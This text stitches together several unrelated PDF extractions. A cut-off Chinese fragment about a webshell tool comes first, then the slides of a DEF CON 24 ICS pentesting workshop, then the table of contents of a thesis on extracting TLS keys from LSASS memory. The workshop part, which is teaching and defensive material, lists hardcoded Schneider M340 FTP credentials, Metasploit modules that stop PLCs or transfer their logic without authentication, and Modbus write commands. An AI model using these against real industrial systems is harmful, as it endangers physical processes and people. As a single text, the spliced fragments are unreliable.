-n xxxxxx |baes64 -d |tee after.class 10 11 回⻋,获得会话,说明修改是有效的。 As_Exploits还在开发中,不得不说很麻烦,同⼀个功能要写asp/aspx/php/jsp四份代码。后端还可以写 写,前端是真的要现学,不过还是可以期待⼀下。 最后
pdf
Pentesting ICS 101 By Arnaud SOULLIE Who am I? Arnaud soullié Senior security auditor Windows Active Directory Can a Windows AD be secured ? JSSI 2014 (French, sorry) SCADA (BHEU14, HIP15, BruCon, BSLV15, DC24) Wine tasting / Motorbike riding (we’re not going to talk about it today) Sorry for the French accent interests @arnaudsoullie LAB PREREQUISITE vm? KALI LINUX MODBUSPAL MBTGET PLCSCAN SNAP7 … ADDITIONAL TOOLS PCAP SAMPLES SCRIPTS SKELETONS … SCRIPTS LAB http://tinyurl.com/dc24-ics101 Agenda Introduction to ICS wrong with ICS security ? Programming plcs Pentesting PLCs Capture the flag ! Securing ics 1h 1h30 1 2 3 4 5 6 1h30 DEFCON 24 ICS WORKSHOP ICS Introduction Where do we find Industrial Control Systems ? Manufacturing plants Food Power plants Building automation systems (AC/HVAC/..) Water treatment Pharmaceutical manufacturing Chemical plants But also…swimming pools, building heating system, dams, etc. What is an Industrial Control System (ICS)? Group WAN Production management ERP server Corporate IT Corporate network Data Historian / Scada server Maintenance laptops Supervision consoles Supervision network / SCADA PLCs RTUs Production network ICS PLC Wireless industrial networks Corporate IS handle data ≠ ICS handle interfaces data with physical world (cyber-physical systems) What about IoT / smart stuff ? Not in the scope of this training Fit the definition of « cyber-physical » systems • Cardio-meter for your smartphone • « Smart » electrical plugs By the way, « smart » clearly isn’t the right word http://weputachipinit.tumblr.com/ Evolution of ICS Started with electrical relays hard wired automation, no update possible Then moved to programmable electronics Then to IP-network enabled devices Now and future is more and more COTS ICS evolution timeline From 1700s : Industrial revolution 1900s : use of relays to control remote systems 1950s : use of punch paper tape to control machines 1960s : use of distributed control to control a plant 1969 : First PLCs 1973 : Modbus invented 1986 : PLCs controled by PCs 1992 : TCP/IP for PLCs 2003 : web servers for PLCs ~2010s : Brace yourselves, AD is coming ! Then what for the 10 next years ?? Future of ICS (well at least, current trends) Now and future is more and more COTS Active Directory domains Soft-PLCs : CodeSYS under Windows computers This is what happens when you star using too much IT in OT A bit of vocabulary ICS (Industrial Control System) = IACS (Industrial Automation and Control Systems) ~= SCADA (Supervisory Control And Data Acquisition) ~= DCS (Distributed Control System) Nowadays, people tend to say “SCADA” for anything related to ICS SCADA vs DCS ▪ SCADA : event / data acquisition driven ▪ Used across several sites (even at the country scale) ▪ Can work even when offline ▪ Low response time ▪ DCS : process driven ▪ Limited to local process monitoring ▪ DCS works as standalone system ▪ Dedicated products by the vendors for specific industries / process ▪ In the real world,you’ll find some PLCs even when DCS is used ▪ Today, SCADA manufacturer tend to have DCS functionnality, while DCS systems response time is lowering to be comparable to traditional SCADA response time In theory … In reality … SCADA vs DCS Siemens vision (1/3) From « DCS or PLC? Seven Questions to Help You Select the Best Solution” http://w3.siemens.com/mcms/process-control- systems/SiteCollectionDocuments/efiles/pcs7/support/marktstudien/PLC_or_DCS.pdf SCADA vs DCS Siemens vision (2/3) SCADA vs DCS Siemens vision (3/3) ICS COMPONENTS ▪ Sensors and actuators: allow interaction with the physical world (pressure sensor, valves, motors, …) ▪ Local HMI: Human-Machine Interface, permits the supervision and control of a subprocess ▪ PLC: Programmable Logic Controller : manages the sensors and actuators ▪ Supervision screen: remote supervision of the industrial process ▪ Data historian: Records all the data from the production and Scada networks ▪ RTU : Remote Terminal Unit (standalone PLC) ▪ IED : Intelligent Electronic Device (smart sensor) CIM pyramid Level 3 : Orders and stock management, clients and accounting Handled by the ERP Level 2 : Management of products : storage, moving, etc Level 1 : Automation Level 0 : Sensors and actuators ▪ Computer Integrated Manufacturing Industrial protocols At the beginning, specific protocols on specific physical layer (RS232, RS285, 4-20 current loop) Some protocols were adapted to TCP/IP, like Modbus, and other were developped to allow interoperability. Currently, the most used seem to be : HART / Wireless HART Profibus Modbus Profinet / S7 DNP3 For the field protocols (used by the PLCs, and some « intelligent » sensors/actuators) OPC for data echanged with the corporate network / Windows- based systems ICS vendors Number of employees Siemens : 362 000 ABB : 150 000 Emerson : 115 000 Rockwell : 22 500 Schneider Electric : 152 000 http://www.controlglobal.com/assets/00_images/2014/12/CG1412-Top50AutoVendors.pdf IT vs OT The essential criteria for ICS security is availability, not confidentiality ICS were designed to be isolated, but today need to communicate with the outside world The use of COTS and standard protocols is relatively new Lifetime of components span over decades No security awareness IT vs OT IT OT Availability : My system is working correctly Integrity : My system is working as expected OT cares more about safety Applied regularly on standards systems Security patches Only recently provided by vendors. Applied once a year tops Deployed on all Windows machines, centrally managed Antivirus Sowly starting to show up. Some vendors used to / stil forbid AV usage (lack of support if AV is installed) Not managed Centralized, dedicated teams, standard operations and procedures System Administration Lack of local skills, heterogeneous environments, lots of different tools to use, vendor support is mandatory Nominative accounts IAM Generic, shared accounts, no password policy Service interuptions are OK, especially outside business hours Availability Real-time operations, downtime is unacceptable or very costly Standard, TCP/IP protocols that include authentication and encryption Protocols Lot of vendor-specific protocol no security built in No people endangered Impact Possible impact of people, environnent, industrial gear Who cares ? <2011 SCADA SECURITY AWARENESS TIMELINE (SIMPLIFIED) Who cares ? OMG ! STUXNET !!! 2011 <2011 SCADA SECURITY AWARENESS TIMELINE (SIMPLIFIED) Who cares ? OMG ! STUXNET !!! Under control 2011 <2011 SOME day ? SCADA SECURITY AWARENESS TIMELINE (SIMPLIFIED) ICS security awareness is growing At the government level In industrial companies For the general audience Regulations policies fear Vendors Cyber-Security offer Most ICS vendors have know understood the client’s worries about security and offer different kinds of dedicated products and/or services That DOES NOT mean that vendors’ staff has the required knowledge and training about ICS security Quizz! Q1 : between a plc and a rtu ? Q2 : Name 3 major ics vendors Q3 : for ? Q4 : whats the mean response time for a plc ? Q5 : what do popale use plc and not standard pc ? Module 2 : WHAT IS WRONG WITH CURRENT ICS security? Network segmentation security supervision Organization & awareness Vulnerability management third paRty management security In protocols Organization & awareness ICS security does not have the same level of maturity as IT in general You will often face situation were nobody is in charge of ICS security Sometimes, there is even nobody in charge of IT (computers, switches) Someone is in charge of ICS safety, but not security ICS are often still out of the CISO perimeter Awareness : misconceptions SAFETY != SECURITY Our ICS are not connected Proprietary protocols are safer I have an Antivirus, I am safe $BIG_VENDOR products are certainly secure The safety systems will prevent anything bad from happening Network segmentation Mostly a fail Nothing is air-gapped, ever (well, almost) « It is segmented because my laptop can’t connect to both networks at the same time » Often, poorly configured ACLs on routers Wide access to the ICS from the Port 80 allowed to everyone Spoiler alert : port 80 allows to do plenty of nasty things How good is your network segmentation if you directly copy files from the office network to the ICS network ? Reconnaissance : exposure Exposure on the Internet : Shodan What’s cool about Shodan is that it doesn’t require any validation from the client (mostly free, but features like export are paid options) How do it work : Shodan scans the whole Internet at regular times and gives you access to the results YOU do not send a single packet to the client’s infrastructures Can give you information about the type of technologies used Most of the time, client is not aware that systems are exposed to the Internet... Finding scada systems on the internet I ▪ Shodan is a search engine dedicated to find devices exposed to the Internet ▪ It regularly scans the whole Internet IPV4 range (~4,3 billions IPs) ▪ Results are partially free (you have to pay to export the results) ▪ All kinds of connected devices ▪ PLCs ▪ Webcams ▪ Smart-things (fridge, TV, …) ▪ Things you can’t even imagine… ▪ Example ICS report : https://www.shodan.io/report/l7VjfVKc What can you find? ▪ Scan the Internet yourself (Zmap, Massscan) ▪ Other online services/surveys ALTERNATIVES? FUNNy things you can find on teh interwebs It’s not just webcams. This is a crematorium. On the internet. Vulnerability management : a hard topic ICS help industries make money. Most of the time, by producing something. The more « uptime » the ICS has, the more money you make. That is why a lot of ICS run 24/7 Each production stop costs money, hence the difficulty to regularly apply security patches. Moreover, it is not unusual for ICS vendors to advise owner not to install AV software, in order to prevent false positives. Fortunately, this situation changes. Vulnerability management Also, not all plants have the luxury of having acceptance/test platform. As ICS hardware is much more costly than VMs, sometimes security patches must be applied to production directly. Security in protocols ICS devices often use proprietary protocols, and there are also several standards. That is why on a given plant/factory ICS, you are likely to find several protocols in use. We will cover the most used ones. ics Protocols Modbus protocol ▪ Serial communication protocol invented in 1979 by Schneider Electric ▪ Developed for industrial application ▪ Royalty-free ▪ Now one of the standards for industrial communications ▪ Master / Slave protocol ▪ Master must regularly poll the slaves to get information ▪ Modbus addresses are 8 bits long, so only 247 slaves per master ▪ There is no object description: a request returns a value, without any context or unit How it works: ▪ Clear-text ▪ No authentication Security anyone? Modbus protocol ▪ Modbus was originally made for serial communications ▪ However it is now often used over TCP MODBUS/TCP FRAME FORMAT Name Length Function Transaction identifier 2 For synchronization between server & client Protocol identifier 2 Zero for Modbus/TCP Length field 2 Number of remaining bytes in this frame Unit identifier 1 Slave address (255 if not used) Function code 1 Function codes as in other variants Data bytes or command n Data as response or commands Modbus protocol ▪ The most common Modbus functions allow to read and write data from/to a PLC ▪ Other functions, such as file read and diagnostics functions also exist ▪ Undocumented Modbus function codes can also be used to perform specific actions COMMONLY USED MODBUS function codes Function name Function code Read coils 1 Write single coil 5 Read holding registers 3 Write single register 6 Write multiple registers 16 Read/Write multiple registers 23 Modbus protocol ALL documented MODBUS function codes (from wikipedia) S7 protocol ▪ Proprietary protocol by Siemens ▪ TCP port 102 ▪ Based on COTP (Connection-Oriented Transport Protocol, RFC905) ▪ A Wireshark dissector is available in the dev branch ▪ No security ▪ New version of the protocol available starting with version 4 and up of the PLC firmware : provides mutual authentication and communication encryption ▪ Security features analyzed by Quarkslab, see the talk from SSTIC https://www.sstic.org/2015/presentation/analyse_de_scurite_de_technologi es_propritaires_scada/ DNP3 protocol ▪ Standard protocol, developped by GE in the 90’s ▪ Slave/Slave : Information can be share at the initiative of any device ▪ Layer 2 protocol (just top of physical layer), ported to TCP/IP ▪ Integrity is verified using CRC ▪ Data reporting communication : only send the data that has changed (simplified), or at the initiative of the PLC/RTU ▪ Used for smartgrids in the US ▪ Secure DNP3 introduced in 2007 ▪ Works on serial and TCP versions ▪ Challenge/response to exchange a session key (using PSK) ▪ Can be done at startup, every XX minutes, or only for sensitive actions (write requests for example) ▪ There is also an aggressive mode, which can be exploited to perform replay attacks ▪ Possible to use secure DNP3 over TLS Profibus protocol ▪ Standard protocol ▪ Used for communication with field devices (sensors/actuators) ▪ Uses 4-20mA current loop OPC protocol ▪ Standard protocol ▪ Used to exchange data between ICS and Windows devices ▪ Works on TCP/IP ▪ Several variants: ▪ OPC-DA : Data access, used to gather data from the process control ▪ OPC A&E : Alarm & Events ▪ OPC HDA : Historical Data Access ▪ OPC DX : Data Exchange, allow to exchange data between OPC servers ▪ OPC Security ▪ OPC XML-DA ▪ OPC UA : Unified Architecture, aimed at replacing the others while using a more modern Service Oriented Architecture. ▪ Provides authentication and encryption, probably the future of ICS protocols #foreverdays #foreverdays is a term coined by @reverseics Very important concept when talking about ICS The highest vulnerabilities are not patched. So it is really worth considering the effort of patch management of ICS equipement when you know ICS-CERT listed over 250 attacks on ICS in 2013 59% of attacks targeted the energy sector 79 attacks successfully compromised the target 57 attacks did not succeed in compromising the target 120 attacks were not identified/investigated Quizz! Q1 : what are the security features of the modbus protocol ? Q2 : which port is used for modbus ? For s7 ? Q3 : what is opc mostly used for ? Q4 : why are some plcs exposed to the internet ? Programming PLCs What is A PLC? ▪ Real-time digital computer used for automation ▪ Replaces electrical relays ▪ Lots of analogue or digital inputs & outputs ▪ Rugged devices (immune to vibration, electrical noise, temperature, dust, …) What’s inside ? Siemens S7-1200 A few pics of PLCs PLC programming ▪ “Ladder Logic” was the first programming language for PLC, as it mimics the real-life circuits ▪ IEC 61131-3 defines 5 programming languages for PLCs ▪ LD: Ladder Diagram ▪ FBD: Function Block Diagram ▪ ST: Structured Text ▪ IL: Instruction List ▪ SFC: Sequential Function Chart Ladder diagram example Structured text example (* simple state machine *) TxtState := STATES[StateMachine]; CASE StateMachine OF 1: ClosingValve(); ELSE ;; BadCase(); END_CASE; LD Speed GT 1000 JMPCN VOLTS_OK LD Volts VOLTS_OK LD 1 ST %Q75 Instruction list example Programming with SoMachine ▪ SoMachine is the software provided by Schneider Electric to program the entry- level PLCs. ▪ PLCs used in big plants are usually programmed using Unity Pro, for which there is no free demo version. ▪ Fortunately, the way this software work is very much the same Programming with SoMachine ▪ SoMachine is the software provided by Schneider Electric to program the entry- level PLCs. ▪ PLCs used in big plants are usually programmed using Unity Pro, for which there is no free demo version. ▪ Fortunately, the way this software work is very much the same PLC Programming ▪ Create a project ▪ Define the hardware setup ▪ Create variables ▪ Define the program ▪ Test ▪ Debug ▪ Push to PLC ▪ START PLC Programming ▪ Production line ▪ Flipped-over bottles must be put in the tray PLC Programming ▪ Another production line ▪ Display indicates when 10 packages ▪ A button allows resetting the display PLC Programming ▪ The main motor must only start if the oil pump is running ▪ Motor must stop is X3 is pressed Quizz! Q1 : NAME 2 PLC programming languages Q2 : what software is used to program siemens plcs ? Q3 : what are the different modules from a plcs ? PENTESTING PLCs ng plcs Never do this on LIVE production system Attacking plcs Never do this on LIVE production systems ▪ Objective : Identify all exposed services on a device or a range of devices ▪ Often the first step in a pentest ▪ We will use two tools ▪ Nmap: The world’s finest port scanner ▪ PLCSCAN: A reconnaissance tool dedicated to PLCs Reconnaissance Reconnaissance (Nmap) ▪ The de-facto tool for port scanning but can be really dangerous on ICS ▪ Two stories from NIST SP800-82 ▪ A ping sweep broke for over 50 000$ in product at a semi-conductor factory ▪ The blocking of gas distribution for several hours after a pentester went slightly off-perimeter during an assessment for a gas company ▪ Nmap useful setup for ICS scanning ▪ Reduce scanning speed! Use « --scan-delay=1 » to scan one port at a time ▪ Perform a TCP scan instead of a SYN scan / do not perform UDP scan ▪ Do not use fingerprinting functions, and manually select scripts (do not use “–sC”) Reconnaissance (PLCSCAN) ▪ https://code.google.com/p/plcscan/ by SCADAStrangeLove (http://scadastrangelove.org/) ▪ Scans for ports 102 (Siemens) and 502 (Modbus) and tries to pull information about the PLC (modules, firmware version,…) ▪ Not exhaustive since not all PLCs use Modbus or are Siemens ▪ What if I told you there was another way… SNMP ? Lab Session #1: Analyzing a Modbus communication with Wireshark ▪ Launch Wireshark ▪ Open “modbus1.pcap” ▪ Try to understand what’s going on ▪ What’s the value of register #123 at the end? Lab session #2: ModbusPal ▪ Modbuspal is a modbus simulator $ > java –jar ModbusPal.jar ▪ Add a modbus slave ▪ Set some register values ▪ Query it with: ▪ MBTGET Perl script ▪ Metasploit module ▪ Analyze traffic with Wireshark Lab session #2: ModbusPal + MBTGET ▪ Mbtget is a perl script to perform Modbus/tcp queries $ > cd toolz $ > ./mbtget -h ▪ Read requests ▪ Coils (1 bit) $ > ./mbtget –r1 –a 0 –n 8 127.0.0.1 ▪ Words (8 bits) $ > ./mbtget –r3 –a 0 –n 8 127.0.0.1 ▪ Write requests ▪ Coils (1 bit) $ > ./mbtget –w3 #{VALUE} –a 0 –n 8 127.0.0.1 ▪ Words (8 bits) $ > ./mbtget –w6 #{VALUE} –a 0 –n 8 127.0.0.1 Lab session #2: ModbusPal + METASPLOIT ▪ A simple modbus client that I developed ▪ Can perform read and write operations on coils and registers ▪ Included in msf’s trunk so you already have it ☺ ▪ Launch msf console $ > msfconsole msf > use auxiliary/scanner/scada/modbusclient msf auxiliary(modbusclient) > info ▪ Play! msf auxiliary(modbusclient) > set ACTION Lab session #3 : S7 using Snap7 ▪ Snap7 is an open-source library implementing Siemens S7 protocol ▪ Launch the demo server $ > cd toolz/siemens/Snap7demos $ > ./serverdemo ▪ Query it using the demo client $ > ./clientdemo ▪ You can also use the scripts that rely on the Snap7 python wrappers $ > cd toolz/siemens/scan7 $ > python XXXX.py Attacking standard services ▪ Most PLCs have standard interfaces, such as HTTP and FTP ▪ Lets’ say security was not the first thing in mind when introducing these features … ▪ On Schneider M340 ▪ FTP credentials are hardcoded sysdiag /factorycast@schneider ▪ Allows you to retrieve the password file for the web UI Lab session #4 : Attacking PLCs ▪ Unauthenticated actions on PLCs ▪ Schneider “STOP/RUN” msf > use auxiliary/admin/scada/modicon_command ▪ Schneider “Logic download/upload” msf > use auxiliary/admin/scada/modicon_stux_transfer ▪ MSF’s module is not working properly on large programs. ▪ I made some **unfinished** modifications on my Github : ▪ https://github.com/arnaudsoullie/metasploit- framework/blob/modicon_stux_transfer/modules/auxiliary/admin/ scada/modicon_stux_transfer.rb ▪ Also included in your VM as « modicon_stux_transfer_ASO » Capture The Flag ! Your mission, should you choose to accept it, is to stop the train and capture the flag with the robot arm. Hacking ICS ? No crazy « hanging from the ceiling without sweating » stuff required ! Securing ICS ● ICS security standards o Comparison o ANSSI o ISA99 o 62443 ● System hardening ● Network segmentation o Theory o Necessary evil : data exchange o Technical solutions : FW, DMZ, Data diodes ● Security monitoring o Why ? o How ? o Integration with process supervision ? ICS security standards There are quite a few ! Let’s use a document published by the CLUSIF, a French information security association. https://www.clusif.asso.fr/fr/production/ouvrages/pdf/CLUSIF-2014-Cyber-Security-of- Industrial-Control-Systems.pdf ISA 99 / IEC 62443 ISA 99 is the old name, the document was initally created by the ISA (International Society for Automation) http://en.wikipedia.org/wiki/Cyber_security_standards#/media/File:ISA- 62443_Standard_Series_2012.png ISA 99 / ISO 62443 A few concepts : • Security lifecycle : security must be integrated during each phase of a product development, use and end of life • Zones and conduits : Instead of applying the same security level and security measures to all parts of the ICS, the ICS is segmented in zones, which have a homogeneous security level, and « conduits » are defined to exchange information between zones. • Securiy levels : Define security levels in the same way as SIL (Safety Integrity Levels) [ Note that there is no correlation whatsoever between security levels and safety levels] • Target Security Levels • Achieved Security Levels • Capability Security Levels NIST SP800-82 NIST = National Institute for Standards and Technology Much more technical than the IEC 62443 Old-school icon set French specific standards : The ANSSI Really well done, but only in French at the moment now in English ! http://www.ssi.gouv.fr/administration/guide/la-cybersecurite-des-systemes-industriels/ RIPE Created by Langner Security RIPE : Robust Ics Planning and Evaluation. Rejects the idea of risk management (I am exagerating a bit), and focuses on security capabilities Based on concepts from quality management, with 3 attributes: • Verifiability • Completeness • Accuracy Composed of 8 domains : • System population Characteristics • Network architecture • Component Interaction • Workforce Roles and Responsibilities • Workforce Skills and Competence Development • Procedural Guidance • Deliberate Design and Configuration Change • System acquisition System hardenning We won’t cover all the possible ways to harden a server configuration. There are numerous quality resources on the topic, here are a few : • DISA : http://iase.disa.mil/stigs/Pages/index.aspx • CIS : https://benchmarks.cisecurity.org/downloads/ • … However, here are the biggest topics • Patching process • Services • Attack surface • User accounts & permissions • File permissions • Network configuration • Remote administration System hardenning : whitelisting Since configuration and software do not change much in ICS, it is possible to go one step further in hardenning. You can use whitelisting technologies to prevent any unauthorized program from being executed. AppLocker from Microsoft allows you to do that, as well as some 3rd party tools, most of the time by AV companies (McAfee, Symantec, …) It is also possible to perform regular, automated configuration review to detect unauthorized changes Not to be forgotten : in case of vulnerability exploitation or if you have admin access, this could be bypassed Network segmentation : why & how ? First question : why do we need to have network segmentation ? Impacts of a compromise are higher on an ICS We cannot afford to have attackers from the corporate network pivot to the ICS Second question : how to segregate the networks ? Real question is : how to segregate while allowing some communications Let’s take a look at NIST SP800-82 Network segmentation : Dual home 1st solution : Dual-homed workstations or servers (two network cards, one of the corporate network, one on the ICS network) Network segmentation : Firewall A firewall filters flows between corporate and ICS networks For example, Data historian is allowed to query information from the control server in the ICS network. If the Data Historian is compromised, attackers may then take control of the control server and thus modify the integrity of the process control Network segmentation : Firewall + router Same story Network segmentation : DMZ There is no direct network flow between corporate and ICS networks. Corporate -> DMZ : ALLOW ICS -> DMZ : ALLOW ANY -> ANY : DENY However, beware of client- side vulnerabilities Network segmentation : DMZ with 2 firewalls Quite the same as the previous one Using 2 firewalls from different brands might prevent some attacks. Also, easier to manage if you have one firewall team for corporate and one for ICS Network segmentation : DPI and IPS In order to provide a more context-specific filtering, it is possible to use DPI (Deep Packet Analysis) technology to allow or deny packets based on some protocol fields. Example: only authorize Modbus read requests, or deny Modbus 0x5a (90) function These features are available on most firewalls, but most of the time only « industrial » firewall will include the ability to inspect ICS specific protocols. You can also perform those operations with an IPS, but at the moment there are only a few ICS signatures Network segmentation : One-way gateways Not mentionned clearly in NIST SP800-82 Offers the highest security level, but is also the most difficult to implement A data-diode is a network device based on a real diode, that transmits data only one-way. The fact that data cannot be transmitted in the other way is guaranteed by the laws of physics : hack that ! Problem : since packets can only go one way, it is not possible to TCP protocol, as even the initial handshake (SYN/SYN-ACK/ACK) would fail. Only UDP-based protocols can be used. Consequence : you have to adapt the infrastructure to use a compliant protocol. That usually means that we need a gateway on each side of the diode Check my project DYODE : Do Your Own DiodE https://github.com/arnaudsoullie/dyode Network segmentation : One-way gateways Network segmentation : One-way gateways without diodes FPGAs FPGA are Integrated Circuits that can be programmed. Once programmed, they are « burned » which means they cannot be reprogrammed. Some gateways use this technology to perform network filtering. It is « less » secure than a data diode since it is not physics-based and errors in FPGA code could allow data to go the other way around. However, it is probably an acceptable risk. Software data-diode PolyXene is a highly secure multi-security level operating system It is based on several instances of Xen segregated by a micro-kernel It is software-based but with a high security level. Advantages of these solutions is that it can integrate all other security controls (protocol specific controls like read-only, etc..) Network segmentation : Air gaps Airgap is the notion of having no network connection between two networks. While this notion is important, it lacks the reality check that some form of data exchange is always necessary. For example : update the servers, update the AV signatures, … That is why it is necessary to also include laptops and USB drives into the picture, as they are often used to « brake » the airgap Network segmentation : laptops From what I’ve seen, most of the time people consider that there is an airgap if machines are not SIMULTANEOUSLY connected to the corporate network and the ICS networks. That is a narrow view, as malware and pentesters can perform actions asynchroneously. Example : Compromise of the coporate Active Directory, installation of a RAT on the PC from an operational, then program it to perform network reconnaissance on the ICS when it is connected, and send back the result to the C&C when the laptop is connected back to the corporate network. Network segmentation : USB drives When network segmentation is performed correctly, people tend to use USB keys to exchange data between corporate and ICS networks. The use of USB blocking « caps » is not really a solution, as : • You do not really need the key to unlock it, I’ve seen a lot of people able to do it with a simple screwdriver • You usually have to let at least 1 or 2 USB ports available for mouse and keyboard, so what is the point ? What we need is a solution and process to exchange data between corporate and ICS Importing data from corporate to ICS Network-based Plug a USB key or drop a file on a share on the corporate network and it will be analyzed and then available on a network share on the ICS network. USB key based Most solutions are based on AV : You plug the key, it is scanned, you unplug the key and go to the ICS. This can be flawed on several layers : • If this workstation is connected, it can be comprised • If you use the same AV as on the computer from which you took the files, what’s the point ? • If you use the same USB key for corporate and ICS network you could be vulnerable to BadUSB (reprogramming the USB firmware). Importing data from corporate to ICS What should be the requirements ? • Use different USB keys for corporate and ICS You could have a color code, and use AV / GPOs to filter the USB key authorized by manufacturer / serial number • Be able to use several AV • If something is detected an alert should be raised and treated Wait a minute…what about how the file were retrieved in the first place ? If you use a standard corporate laptop to connect to the ICS vendor, download the patch and then use your super-secure USB-checking solution, you are still vulnerable… A dedicated PC, not managed by the Active Directory, should be used to download updates. It should have a dedicated proxy configuration that only allows it to connect to a whitelist of websites. Binaries signatures should be checked when provided. Security monitoring SCADA and DCS are ALL about monitoring; however, this doesn’t include security monitoring… I strongly believe that security events should be treated as process events. Example : an virus detection of one of the workstation should raise an alert not only locally, but also in the control room. Moreover, we have to use the fact that ICS networks do not change that much over time, and consequently we can build a standard basis and act on any modification to it. Network flows and application whitelisting should be achievable on an ICS network. Do you have any question ? Thanks for attending https://github.com/arnaudsoullie/ics-default-passwords
pdf
EXTRACTING CNG TLS/SSL ARTIFACTS FROM LSASS MEMORY Jake Kambic 2016 Defcon ii TABLE OF CONTENTS Page LIST OF TABLES . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . iv LIST OF FIGURES . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . v LIST OF ACRONYMS & ABBREVIATIONS . . . . . . . . . . . . . . . . . vii LIST OF TERMS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ix CHAPTER 1. INTRODUCTION . . . . . . . . . . . . . . . . . . . . . . . . 1 1.1 Statement of Problem . . . . . . . . . . . . . . . . . . . . . . . . . 2 1.2 Significance . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 1.3 Research Question . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 1.4 Hypothesis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 1.5 Assumptions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 1.6 Limitations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.7 Delimitations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 CHAPTER 2. RELEVANT LITERATURE . . . . . . . . . . . . . . . . . . 7 2.1 Volatile Memory Analysis Frameworks . . . . . . . . . . . . . . . . 8 2.2 Secure Socket Layer (SSL) & Transport Layer Security (TLS) . . . 10 2.2.1 Handshake & Key Exchange . . . . . . . . . . . . . . . . . . 11 2.2.2 Perfect Forward Secrecy . . . . . . . . . . . . . . . . . . . . 14 2.2.3 Key Calculation . . . . . . . . . . . . . . . . . . . . . . . . . 16 2.2.4 Session Resumption . . . . . . . . . . . . . . . . . . . . . . . 17 2.3 Windows Internals . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 2.3.1 Memory Management . . . . . . . . . . . . . . . . . . . . . . 21 2.3.1.1 Virtual Address Space . . . . . . . . . . . . . . . . 22 2.3.1.2 Virtual Memory Allocation . . . . . . . . . . . . . 24 2.3.2 TLS Implementation . . . . . . . . . . . . . . . . . . . . . . 24 2.3.2.1 DPAPI . . . . . . . . . . . . . . . . . . . . . . . . 25 2.3.2.2 Key Isolation . . . . . . . . . . . . . . . . . . . . . 26 2.3.2.3 Schannel . . . . . . . . . . . . . . . . . . . . . . . . 27 2.4 Prior Work . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30 2.4.1 Key Identification . . . . . . . . . . . . . . . . . . . . . . . . 30 2.4.2 SSL/TLS Decryption . . . . . . . . . . . . . . . . . . . . . . 33 2.4.3 Key Extraction . . . . . . . . . . . . . . . . . . . . . . . . . 34 2.4.4 Perfect Forward Secrecy . . . . . . . . . . . . . . . . . . . . 37 iii Page CHAPTER 3. RESEARCH METHODOLOGY . . . . . . . . . . . . . . . . 39 3.0.1 Design Decisions . . . . . . . . . . . . . . . . . . . . . . . . 39 3.0.2 Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41 3.0.3 Discussion of Methods . . . . . . . . . . . . . . . . . . . . . 44 3.0.3.1 Searching for session keys . . . . . . . . . . . . . . 44 3.0.3.2 Identifying known values . . . . . . . . . . . . . . . 44 3.0.3.3 Intercepting master key generation . . . . . . . . . 45 3.0.3.4 Leveraging unique structure identifiers . . . . . . . 46 3.0.3.5 Walking pointers . . . . . . . . . . . . . . . . . . . 47 3.0.3.6 Comparing related structs to unique public values . 48 3.0.3.7 Debugging Local Security Authority Sub-System . 49 3.0.3.8 Scanning Physical Memory . . . . . . . . . . . . . 49 3.0.4 Infrastructure . . . . . . . . . . . . . . . . . . . . . . . . . . 49 3.0.5 Measure of Success . . . . . . . . . . . . . . . . . . . . . . . 52 3.1 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53 CHAPTER 4. RESULTS & DISCUSSION . . . . . . . . . . . . . . . . . . . 54 4.1 Staging and Execution . . . . . . . . . . . . . . . . . . . . . . . . . 54 4.2 Heuristic Scanning for Advanced Encryption Standard (AES) keys . 56 4.3 Public Connection Values . . . . . . . . . . . . . . . . . . . . . . . 61 4.4 Identified SSL Structures . . . . . . . . . . . . . . . . . . . . . . . . 64 4.5 Confirming the master key . . . . . . . . . . . . . . . . . . . . . . . 77 4.6 Mapping master keys to session IDs . . . . . . . . . . . . . . . . . . 77 4.7 SSL Session Cache Items . . . . . . . . . . . . . . . . . . . . . . . . 80 4.8 Schannel Classes . . . . . . . . . . . . . . . . . . . . . . . . . . . . 84 4.9 Schannel Parameters . . . . . . . . . . . . . . . . . . . . . . . . . . 85 4.10 Scanning Physical Memory . . . . . . . . . . . . . . . . . . . . . . . 87 4.11 Automating Extraction . . . . . . . . . . . . . . . . . . . . . . . . . 87 4.12 Decrypting a TLS session . . . . . . . . . . . . . . . . . . . . . . . 90 CHAPTER 5. CONCLUSIONS . . . . . . . . . . . . . . . . . . . . . . . . . 92 5.1 Summary of Outcomes . . . . . . . . . . . . . . . . . . . . . . . . . 92 5.2 Contributions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 93 5.3 Anecdotes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95 5.4 Future Work . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95 LIST OF REFERENCES . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97 iv LIST OF TABLES Table Page 3.1 Analysis infrastructure . . . . . . . . . . . . . . . . . . . . . . . . . . 52 4.1 Ncryptsslp magic values to function mapping . . . . . . . . . . . . . . 66 4.2 Client and server SSL cache time . . . . . . . . . . . . . . . . . . . . . 86 v LIST OF FIGURES Figure Page 2.1 Volatility plug-in interface and address space abstraction (Ligh, Case, Levy, & Walters, 2014) . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 2.2 SSL/TLS Handshake (Dierks & Allen, 1999; Freier, Karlton, & Kocher, 2011; Microsoft, 2003a) . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 2.3 TLS master secret generation pseudo-code (Dierks & Allen, 1999; Dierks & Rescorla, 2008) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 2.4 TLS session resumption abridged Handshake . . . . . . . . . . . . . . . 18 2.5 Session Ticket per RFC 5077 . . . . . . . . . . . . . . . . . . . . . . . 19 2.6 Microsoft Key Isolation paradigm (Microsoft, 2014b) . . . . . . . . . . 27 2.7 Schannel SSP architecture (Microsoft, 2015d) . . . . . . . . . . . . . . 28 3.1 TLS artifact identification methodology . . . . . . . . . . . . . . . . . . 43 3.2 Analysis infrastructure logical diagram . . . . . . . . . . 